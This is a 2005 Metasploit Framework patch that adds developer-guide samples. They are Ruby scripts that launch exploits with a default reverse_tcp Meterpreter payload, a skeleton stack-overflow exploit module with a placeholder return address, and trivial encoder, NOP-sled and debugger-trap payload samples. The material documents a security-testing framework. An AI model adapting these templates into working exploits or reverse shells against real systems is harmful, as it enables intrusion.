From a2df616bd4e9d6123db26b83f60aede1eed5d04a Mon Sep 17 00:00:00 2001 From: Matt Miller Date: Mon, 28 Nov 2005 23:49:48 +0000 Subject: [PATCH] devguide samples git-svn-id: file:///home/svn/incoming/trunk@3154 4d416f70-5f16-0410-b530-b9f4589650da --- .../devguide/developers_guide.tex | 523 +++++++++++++++++- .../samples/modules/encoders/sample.rb | 34 ++ .../samples/modules/exploits/sample.rb | 77 +++ documentation/samples/modules/nops/sample.rb | 33 ++ .../modules/payloads/singles/sample.rb | 35 ++ lib/msf/core/module_manager.rb | 12 +- plugins/msfd.rb | 2 + 7 files changed, 711 insertions(+), 5 deletions(-) create mode 100644 documentation/samples/modules/encoders/sample.rb create mode 100644 documentation/samples/modules/exploits/sample.rb create mode 100644 documentation/samples/modules/nops/sample.rb create mode 100644 documentation/samples/modules/payloads/singles/sample.rb diff --git a/dev/documentation/devguide/developers_guide.tex b/dev/documentation/devguide/developers_guide.tex index 7a89443765..a10e159f6c 100755 --- a/dev/documentation/devguide/developers_guide.tex +++ b/dev/documentation/devguide/developers_guide.tex @@ -3091,15 +3091,532 @@ otherwise altered in the future. \appendix \chapter{Samples} - \section{Framework Core} - \section{Framework Base} + +\par +This chapter contains various samples that illustrate how the +framework and other libraries can be interacted with to perform +various tasks. The source code to these samples can be found in the +documentation directory that is included with all releases of the +3.0 version of the framework. + + \section{Framework} + +\par +This section contains samples specific to interacting with the +framework itself. + + \subsection{Dumping module info} + +\par +This sample demonstrates how a module's information can be easily +serialized to a readable format. + +\footnotesize{ +\begin{verbatim} +#!/usr/bin/ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', + 'lib')) + +require 'msf/base' + +if (ARGV.empty?) + puts "Usage: #{File.basename(__FILE__)} module_name" + exit +end + +framework = Msf::Simple::Framework.create + +begin + # Create the module instance. + mod = framework.modules.create(ARGV.shift) + + # Dump the module's information in readable text format. + puts Msf::Serializer::ReadableText.dump_module(mod) +rescue + puts "Error: #{$!}\n\n#{$@.join("\n")}" +end +\end{verbatim}} + + \subsection{Encoding the contents of a file} + +\par +This sample demonstrates how a file can be encoded using a framework +encoder. + +\footnotesize{ +\begin{verbatim} +#!/usr/bin/ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', + 'lib')) + +require 'msf/base' + +if (ARGV.empty?) + puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" + exit +end + +framework = Msf::Simple::Framework.create + +begin + # Create the encoder instance. + mod = framework.encoders.create(ARGV.shift) + + puts(Msf::Simple::Buffer.transform( + mod.encode(IO.readlines(ARGV.shift).join), ARGV.shift || 'ruby')) +rescue + puts "Error: #{$!}\n\n#{$@.join("\n")}" +end +\end{verbatim}} + + \subsection{Enumerating modules} + +\par +This sample demonstrates enumerating all of the modules in the +framework and displays their module type and reference name. + +\footnotesize{ +\begin{verbatim} +#!/usr/bin/ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', + 'lib')) + +require 'msf/base' + +framework = Msf::Simple::Framework.create + +# Enumerate each module in the framework. +framework.modules.each_module { |name, mod| + puts "#{mod.type}: #{name}" +} +\end{verbatim}} + + \subsection{Running an exploit using framework base} + +\par +This sample demonstrates using the framework core directly to +launch an exploit. It makes use of the simplified exploit wrapper +method provided by the Msf::Simple::Exploit mixin. + +\footnotesize{ +\begin{verbatim} +#!/usr/bin/ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', + 'lib')) + +require 'msf/base' + +if (ARGV.length == 0) + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit +end + +framework = Msf::Simple::Framework.create exploit_name = +ARGV.shift || 'test/multi/aggressive' payload_name = ARGV.shift || +'windows/meterpreter/reverse_tcp' input = +Rex::Ui::Text::Input::Stdio.new output = +Rex::Ui::Text::Output::Stdio.new + +begin + # Initialize the exploit instance + exploit = framework.exploits.create(exploit_name) + + # Fire it off. + session = exploit.exploit_simple( + 'Payload' => payload_name, + 'OptionStr' => ARGV.join(' '), + 'LocalInput' => input, + 'LocalOutput' => output) + + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line + + session.init_ui(input, output) + + session.interact + else + output.print_line("Exploit completed, no session was created.") + end + +rescue + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") +end +\end{verbatim}} + + + \subsection{Running an exploit using framework core} + +\par +This sample demonstrates using the framework core directly to launch +an exploit. It uses the framework base Framework class so that the +distribution module path is automatically set, but relies strictly +on framework core classes for everything else. + +\footnotesize{ +\begin{verbatim} +#!/usr/bin/ruby + +$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', + 'lib')) + +require 'msf/base' + +if (ARGV.length == 0) + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit +end + +framework = Msf::Simple::Framework.create +exploit_name = ARGV.shift || 'test/multi/aggressive' +payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp' +input = Rex::Ui::Text::Input::Stdio.new +output = Rex::Ui::Text::Output::Stdio.new + +begin + # Create the exploit driver instance. + driver = Msf::ExploitDriver.new(framework) + + # Initialize the exploit driver's exploit and payload instance + driver.exploit = framework.exploits.create(exploit_name) + driver.payload = framework.payloads.create(payload_name) + + # Import options specified in VAR=VAL format from the supplied command + # line. + driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) + + # Share the exploit's datastore with the payload. + driver.payload.share_datastore(driver.exploit.datastore) + + # Initialize the target index to what's in the exploit's data store or + # zero by default. + driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i + + # Initialize the exploit and payload user interfaces. + driver.exploit.init_ui(input, output) + driver.payload.init_ui(input, output) + + # Fire it off. + session = driver.run + + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line + + session.init_ui(input, output) + + session.interact + else + output.print_line("Exploit completed, no session was created.") + end + +rescue + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") +end +\end{verbatim}} + \section{Framework Module} + +\par +This section shows some sample framework modules. + \subsection{Encoder} + +\par +This sample illustrates a very basic encoder that simply returns the +block that it's passed. + +\footnotesize{ +\begin{verbatim} +module Msf +module Encoders + +class Sample < Msf::Encoder + + def initialize + super( + 'Name' => 'Sample encoder', + 'Version' => '$Revision$', + 'Description' => %q{ + Sample encoder that just returns the block it's passed + when encoding occurs. + }, + 'Author' => 'skape', + 'Arch' => ARCH_ALL) + end + + # + # Returns the unmodified buffer to the caller. + # + def encode_block(state, buf) + buf + end + +end + +end +end +\end{verbatim}} + \subsection{Exploit} + +\par +This exploit sample shows how an exploit module could be written to +exploit a bug in an arbitrary TCP server. + +\footnotesize{ +\begin{verbatim} +module Msf + +class Exploits::Sample < Msf::Exploit::Remote + + # + # This exploit affects TCP servers, so we use the TCP client mixin. + # + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sample exploit', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'Author' => 'skape', + 'Version' => '$Revision$', + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + }, + 'Targets' => + [ + # Target 0: Windows All + [ + 'Windows Universal', + { + 'Platform' => 'win', + 'Ret' => 0x41424344 + } + ], + ], + 'DefaultTarget' => 0)) + end + + # + # The sample exploit just indicates that the remote host is always + # vulnerable. + # + def check + return Exploit::CheckCode::Vulnerable + end + + # + # The exploit method connects to the remote service and sends 1024 A's + # followed by the fake return address and then the payload. + # + def exploit + connect + + print_status("Sending #{payload.encoded.length} byte payload...") + + # Build the buffer for transmission + buf = "A" * 1024 + buf += [ target.ret ].pack('V') + buf += payload.encoded + + # Send it off + sock.put(buf) + sock.get + + handler + end + +end + +end +\end{verbatim}} + \subsection{Nop} + +\par +This class implements a very basic NOP sled generator that just +returns a string of 0x90's for the supplied sled length. + +\footnotesize{ +\begin{verbatim} +module Msf +module Nops + +class Sample < Msf::Nop + + def initialize + super( + 'Name' => 'Sample NOP generator', + 'Version' => '$Revision$', + 'Description' => 'Sample single-byte NOP generator', + 'Author' => 'skape', + 'Arch' => ARCH_X86) + end + + # + # Returns a string of 0x90's for the supplied length. + # + def generate_sled(length, opts) + "\x90" * length + end + +end + +end +end +\end{verbatim}} + \subsection{Payload} + +\par +This sample payload is designed to trigger a debugger exception via +int3. + +\footnotesize{ +\begin{verbatim} +module Msf +module Payloads +module Singles + +module Sample + + include Msf::Payload::Single + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Debugger Trap', + 'Version' => '$Revision$', + 'Description' => 'Causes a debugger trap exception through int3', + 'Author' => 'skape', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Payload' => "\xcc" + } + )) + end + +end + +end +end +end +\end{verbatim}} + \subsection{Recon} + +\par +Reconnaissance modules are undergoing design review and do not have +any samples available at this time. + \section{Framework Plugin} - \section{Extended Tools} + + \subsection{Console user interface plugin} + +\par +This class illustrates a sample plugin. Plugins can change the +behavior of the framework by adding new features, new user interface +commands, or through any other arbitrary means. They are designed +to have a very loose definition in order to make them as useful as +possible. + +\footnotesize{ +\begin{verbatim} +module Msf + +class Plugin::Sample < Msf::Plugin + + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "Sample" + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "sample" => "A sample command added by the sample plugin" + } + end + + # + # This method handles the sample command. + # + def cmd_sample(*args) + print_line("You passed: #{args.join(' ')}") + end + end + + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super + + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) + + print_status("Sample plugin loaded.") + end + + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Sample') + end + + # + # This method returns a short, friendly name for the plugin. + # + def name + "sample" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Demonstrates using framework plugins" + end + +end +end +\end{verbatim} \end{document} diff --git a/documentation/samples/modules/encoders/sample.rb b/documentation/samples/modules/encoders/sample.rb new file mode 100644 index 0000000000..d8789b2f68 --- /dev/null +++ b/documentation/samples/modules/encoders/sample.rb @@ -0,0 +1,34 @@ +module Msf +module Encoders + +### +# +# This sample illustrates a very basic encoder that simply returns the block +# that it's passed. +# +### +class Sample < Msf::Encoder + + def initialize + super( + 'Name' => 'Sample encoder', + 'Version' => '$Revision$', + 'Description' => %q{ + Sample encoder that just returns the block it's passed + when encoding occurs. + }, + 'Author' => 'skape', + 'Arch' => ARCH_ALL) + end + + # + # Returns the unmodified buffer to the caller. + # + def encode_block(state, buf) + buf + end + +end + +end +end diff --git a/documentation/samples/modules/exploits/sample.rb b/documentation/samples/modules/exploits/sample.rb new file mode 100644 index 0000000000..45ed39c04b --- /dev/null +++ b/documentation/samples/modules/exploits/sample.rb @@ -0,0 +1,77 @@ +require 'msf/core' + +module Msf + +### +# +# This exploit sample shows how an exploit module could be written to exploit +# a bug in an arbitrary TCP server. +# +### +class Exploits::Sample < Msf::Exploit::Remote + + # + # This exploit affects TCP servers, so we use the TCP client mixin. + # + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sample exploit', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'Author' => 'skape', + 'Version' => '$Revision$', + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + }, + 'Targets' => + [ + # Target 0: Windows All + [ + 'Windows Universal', + { + 'Platform' => 'win', + 'Ret' => 0x41424344 + } + ], + ], + 'DefaultTarget' => 0)) + end + + # + # The sample exploit just indicates that the remote host is always + # vulnerable. + # + def check + return Exploit::CheckCode::Vulnerable + end + + # + # The exploit method connects to the remote service and sends 1024 A's + # followed by the fake return address and then the payload. + # + def exploit + connect + + print_status("Sending #{payload.encoded.length} byte payload...") + + # Build the buffer for transmission + buf = "A" * 1024 + buf += [ target.ret ].pack('V') + buf += payload.encoded + + # Send it off + sock.put(buf) + sock.get + + handler + end + +end + +end diff --git a/documentation/samples/modules/nops/sample.rb b/documentation/samples/modules/nops/sample.rb new file mode 100644 index 0000000000..944f04588a --- /dev/null +++ b/documentation/samples/modules/nops/sample.rb @@ -0,0 +1,33 @@ +require 'msf/core' + +module Msf +module Nops + +### +# +# This class implements a very basic NOP sled generator that just returns a +# string of 0x90's. +# +### +class Sample < Msf::Nop + + def initialize + super( + 'Name' => 'Sample NOP generator', + 'Version' => '$Revision$', + 'Description' => 'Sample single-byte NOP generator', + 'Author' => 'skape', + 'Arch' => ARCH_X86) + end + + # + # Returns a string of 0x90's for the supplied length. + # + def generate_sled(length, opts) + "\x90" * length + end + +end + +end +end diff --git a/documentation/samples/modules/payloads/singles/sample.rb b/documentation/samples/modules/payloads/singles/sample.rb new file mode 100644 index 0000000000..5af0f5e5ae --- /dev/null +++ b/documentation/samples/modules/payloads/singles/sample.rb @@ -0,0 +1,35 @@ +require 'msf/core' + +module Msf +module Payloads +module Singles + +### +# +# This sample payload is designed to trigger a debugger exception via int3. +# +### +module Sample + + include Msf::Payload::Single + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Debugger Trap', + 'Version' => '$Revision$', + 'Description' => 'Causes a debugger trap exception through int3', + 'Author' => 'skape', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Payload' => "\xcc" + } + )) + end + +end + +end +end +end diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index f87f75a97f..f87010eb40 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -412,6 +412,7 @@ protected load_module_from_file(path, file, loaded, recalc, counts) rescue NameError + puts "#{$@.join("\n")}" # If we get a name error, it's possible that this module depends # on another one that we haven't loaded yet. Let's postpone # the load operation for now so that we can resolve all @@ -493,8 +494,15 @@ protected path_base.sub!(/(.+)(#{File::SEPARATOR}.+)(.rb?)$/, '\1') # Extract the module's namespace from its path - mod = mod_from_name(path_base) - type = path_base.match(/^(.+?)#{File::SEPARATOR}+?/)[1].sub(/s$/, '') + mod = mod_from_name(path_base) + + if (m = path_base.match(/^(.+?)#{File::SEPARATOR}+?/)) + type = m[1] + else + type = path_base + end + + type.sub!(/s$/, '') # Get the module and grab the current number of constants old_constants = mod.constants diff --git a/plugins/msfd.rb b/plugins/msfd.rb index b01186d648..1013c733ab 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -3,6 +3,8 @@ # This plugin provides an msf daemon interface that spawns a listener on a # defined port (default 55554) and gives each connecting client its own # console interface. These consoles all share the same framework instance. +# Be aware that the console instance that spawns on the port is entirely +# unauthenticated, so realize that you have been warned. # module Msf